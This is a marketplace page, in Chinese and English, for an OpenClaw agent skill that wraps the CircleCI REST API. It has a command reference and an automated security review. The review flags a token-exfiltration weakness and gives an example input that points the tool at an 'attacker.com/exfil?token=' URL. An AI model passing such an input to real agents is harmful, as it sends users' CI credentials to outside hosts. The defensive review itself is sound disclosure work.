← 返回 Skills 市场
aiwithabidi

Circleci

作者 aiwithabidi · GitHub ↗ · v1.0.0
cross-platform ⚠ suspicious
708
总下载
0
收藏
3
当前安装
1
版本数
在 OpenClaw 中安装
/install circleci
功能描述
CircleCI CI/CD — manage pipelines, workflows, jobs, and insights via REST API
使用说明 (SKILL.md)

🔄 CircleCI

CircleCI CI/CD — manage pipelines, workflows, jobs, and insights via REST API

Requirements

Variable Required Description
CIRCLECI_TOKEN Personal API token from circleci.com

Quick Start

# Get current user
python3 {{baseDir}}/scripts/circleci.py me

# List pipelines
python3 {{baseDir}}/scripts/circleci.py pipelines slug \x3Cvalue> --branch \x3Cvalue>

# Get pipeline
python3 {{baseDir}}/scripts/circleci.py pipeline-get id \x3Cvalue>

# Trigger pipeline
python3 {{baseDir}}/scripts/circleci.py pipeline-trigger slug \x3Cvalue> --branch \x3Cvalue> --parameters \x3Cvalue>

# Get pipeline config
python3 {{baseDir}}/scripts/circleci.py pipeline-config id \x3Cvalue>

# List workflows
python3 {{baseDir}}/scripts/circleci.py workflows id \x3Cvalue>

# Get workflow
python3 {{baseDir}}/scripts/circleci.py workflow-get id \x3Cvalue>

# Cancel workflow
python3 {{baseDir}}/scripts/circleci.py workflow-cancel id \x3Cvalue>

All Commands

Command Description
me Get current user
pipelines List pipelines
pipeline-get Get pipeline
pipeline-trigger Trigger pipeline
pipeline-config Get pipeline config
workflows List workflows
workflow-get Get workflow
workflow-cancel Cancel workflow
workflow-rerun Rerun workflow
jobs List workflow jobs
job-get Get job details
job-cancel Cancel job
job-artifacts List job artifacts
insights-workflows Workflow insights
contexts List contexts
envvars List project env vars
envvar-set Set env var

Output Format

All commands output JSON by default. Add --human for readable formatted output.

python3 {{baseDir}}/scripts/circleci.py \x3Ccommand> --human

Script Reference

Script Description
{{baseDir}}/scripts/circleci.py Main CLI — all commands in one tool

Credits

Built by M. Abidi | agxntsix.ai YouTube | GitHub Part of the AgxntSix Skill Suite for OpenClaw agents.

📅 Need help setting up OpenClaw for your business? Book a free consultation

安全使用建议
This appears to be a straightforward CircleCI CLI and is coherent with its declared purpose. Before installing, check these points: (1) supply a CircleCI token with least privilege needed (avoid using an all-scopes personal token); (2) be aware the script will try to read CIRCLECI_TOKEN from WORKSPACE or ~/.openclaw/workspace/.env if the env var is absent — remove or audit any .env files you do not trust; (3) the CLI supports full-URL requests, so only run commands you trust (avoid passing arbitrary URLs that could send your token to other endpoints); (4) the skill is instruction-only and uses only Python stdlib, but it comes from an unverified source — if you need higher assurance, review the full script locally or run it in an isolated environment.
功能分析
Type: OpenClaw Skill Name: circleci Version: 1.0.0 The skill is suspicious due to a critical vulnerability in `scripts/circleci.py`. The `req` function allows arbitrary URLs if the `path` argument starts with 'http'. Since `path` is constructed using user-controlled arguments (e.g., `args.slug`, `args.id`), a malicious actor could craft these inputs (e.g., `id "http://attacker.com/exfil?token="`) to cause the agent to send the `CIRCLECI_TOKEN` to an external, attacker-controlled endpoint. This constitutes a high-risk data exfiltration vulnerability, not intentional malice.
能力评估
Purpose & Capability
Name/description match the code and declared requirement (CIRCLECI_TOKEN). The CLI implements pipeline, workflow, job, insights, contexts, and env-var endpoints on the CircleCI v2 API, which is coherent with the stated purpose.
Instruction Scope
SKILL.md describes the CLI commands precisely. The bundled script will also attempt to read CIRCLECI_TOKEN from an .env file at WORKSPACE or ~/.openclaw/workspace/.env if the environment variable is not set; this behavior is not documented in SKILL.md (minor mismatch) but is limited to credential lookup only. The CLI accepts full URLs for requests (path starting with "http"), which is a flexible feature but could be used to target non-CircleCI endpoints if a caller supplies such a URL.
Install Mechanism
No install spec; instruction-only skill with a single stdlib Python script. No external downloads or package installs are performed.
Credentials
Only CIRCLECI_TOKEN is required (declared as primaryEnv). The script's fallback to reading an .env in WORKSPACE or ~/.openclaw/workspace is reasonable for convenience but means a local file can supply the token even if not exported — this filesystem access is not declared in the manifest.
Persistence & Privilege
always is false and no config paths are declared. The skill does not request permanent/privileged platform presence or modify other skills' configs.
如何使用
  1. 确保已安装 OpenClaw(本地或 Docker 部署)
  2. 在对话框中输入安装命令:/install circleci
  3. 安装完成后,直接呼叫该 Skill 的名称或使用 /circleci 触发
  4. 根据 Skill 的参数说明提供必要输入,即可获得结构化输出
版本历史
v1.0.0
Initial release — command-line tool for managing CircleCI via REST API. - Supports managing pipelines, workflows, jobs, and insights. - Multiple commands available: list, get, trigger, cancel, and rerun for pipelines, workflows, jobs, and more. - Outputs JSON by default; human-readable formatting available with --human flag. - Requires only a CircleCI personal API token (no dependencies). - Includes full command reference and examples for quick start.
元数据
Slug circleci
版本 1.0.0
许可证
累计安装 3
当前安装数 3
历史版本数 1
常见问题

Circleci 是什么?

CircleCI CI/CD — manage pipelines, workflows, jobs, and insights via REST API. 它是一个面向 Claude Code / OpenClaw 的 AI Agent Skill 插件,目前累计下载 708 次。

如何安装 Circleci?

在 OpenClaw 或 Claude Code 对话框中运行命令「/install circleci」即可一键安装,无需额外配置。

Circleci 是免费的吗?

是的,Circleci 完全免费(开源免费),可自由下载、安装和使用。

Circleci 支持哪些平台?

Circleci 跨平台运行,可在任意部署了 OpenClaw / Claude Code 的环境中使用(cross-platform)。

谁开发了 Circleci?

由 aiwithabidi(@aiwithabidi)开发并维护,当前版本 v1.0.0。

💬 留言讨论